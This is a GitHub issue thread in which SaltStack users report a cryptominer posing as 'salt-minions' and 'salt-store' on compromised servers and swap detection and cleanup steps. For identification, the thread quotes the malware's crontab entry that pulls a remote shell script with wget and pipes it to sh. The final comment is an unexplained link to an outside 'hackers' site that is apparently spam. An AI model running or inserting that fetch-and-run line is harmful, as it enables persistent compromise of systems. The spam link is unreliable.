saltstack / salt

Software to automate the management and configuration of any infrastructure or application at scale. Install Salt from the Salt package repositories here:
https://docs.saltproject.io/salt/install-guide/en/latest/
Apache License 2.0
14.2k stars 5.48k forks source link

/tmp/salt-minions[BUG] #57057

Closed xiaopanggege closed 4 years ago

xiaopanggege commented 4 years ago

Description My all servers with salt-minion installed,An unknown program suddenly ran today, He's /tmp/salt-minions

[root@yunwei ~]# top

top - 10:06:44 up 511 days, 18:39, 3 users, load average: 2.01, 2.02, 1.91 Tasks: 193 total, 1 running, 192 sleeping, 0 stopped, 0 zombie Cpu(s): 7.2%us, 18.3%sy, 0.0%ni, 74.1%id, 0.4%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 8060948k total, 7502768k used, 558180k free, 76316k buffers Swap: 4194300k total, 437368k used, 3756932k free, 188012k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2280 root 20 0 56.0g 541m 1588 S 101.1 6.9 345886:48 tp_core
27061 root 20 0 2797m 1848 1000 S 99.1 0.0 36:02.75 salt-minions

[root@yunwei ~]# ps -ef |grep 27061 | grep -v grep root 27061 1 89 09:26 ? 00:36:37 /tmp/salt-minions

sal-minion version 2018.3.2 sys:CentOS release 6.5 (Final)

iamjprince commented 4 years ago

Sorry for being late to this game. Here is what I've seen on Linux. Your experience may differ. (I've proofread this a couple of times. I believe I've corrected my typos.)

I've seen two different processes, salt-minions (Not the "s" at the end) and salt-store. Check for these files in /tmp /var/tmp /usr/bin (/usr/bin/salt-minions can hide among the VALID /usr/bin/salt-minion files!)

Check your crontabs for two entries, likely the last two lines. These commands run every minute to pull down what I think is the installer and to restart salt-store.

* * * * * wget -q -O - http://<ip address>/<shortname>.sh | sh > /dev/null 2>&1
* * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store

Verify these are NOT YOURS, then remove or comment out as you would with any normal cron job.

If you are using systemd, run systemctl status salt-minion and examine the CGroup section. You will see your "systemctl" command in there. This is normal. You may see something like this running in tmp. The first number is the process ID (PID) number. I've omitted PIDs here.

sh -c /tmp/.ICEd-unix/<five random characters>
/tmp/.ICEd-unix/<same five random characters>

Note the d at the end of .ICEd in the malicious directory name. Be aware that /tmp/.ICE-unix is a valid directory name, please don't mess with that one as I believe it handles X11 sessions!

This command will also list your valid /usr/bin/python /usr/bin/salt-minion sessions. You will likely see the malicious salt-minions (Note the trailing S in minionS!) process.

For the experienced Unix/Linux administrators/users out there, this find command will quickly locate and print the extended attributes of the file listed after "-name". If you're not comfortable using find, skip it and look for the files manuall.

find /tmp /var/tmp /usr/bin -type f -name salt-store -exec lsattr \{\} \; -print

If you're comfortable with find, you can change lsattr to chattr -i to remove the immutable flag. You can change the file name to look for something other than salt-store

upya4ko commented 4 years ago

Found /usr/bin/salt-store on one server, MD5: 33140982ace71281c40d0dab0e9d69b8 https://www.virustotal.com/gui/file/98d3fd460e56eff5182d5abe2f1cd7f042ea24105d0e25ea5ec78fedc25bac7c/community

Probably it appear late with updates, because i found it only on one server.

pretorianec-ua commented 4 years ago

Also mentioned (published) even on January 2020 ... - CVE-2019-17361 (https://access.redhat.com/security/cve/cve-2019-17361)

image

cachedout commented 4 years ago

@pretorianec-ua That is a different issue than the one being discussed in this thread.

sagetherage commented 4 years ago

closing as there likely isn't any new relevant information to be added, here and if there is please see our Community Slack Channel #salt-store-miner-public

myloveecho commented 4 years ago

Does status - mile stone approved means we are working on a fix but not yet released? And do we have a fix branch to follow?

taigrr commented 4 years ago

@myloveecho This wasn't actually a bug in saltstack, but rather a report of evidence gathered regarding an exploit that used another bug, which was fixed several releases ago. There are patches available here.

You can also just upgrade to Sodium, which has the fixes already included.

Andreypavlovy commented 4 years ago

This is actually easy, you can check https://www.netweakhackers.com to learn more.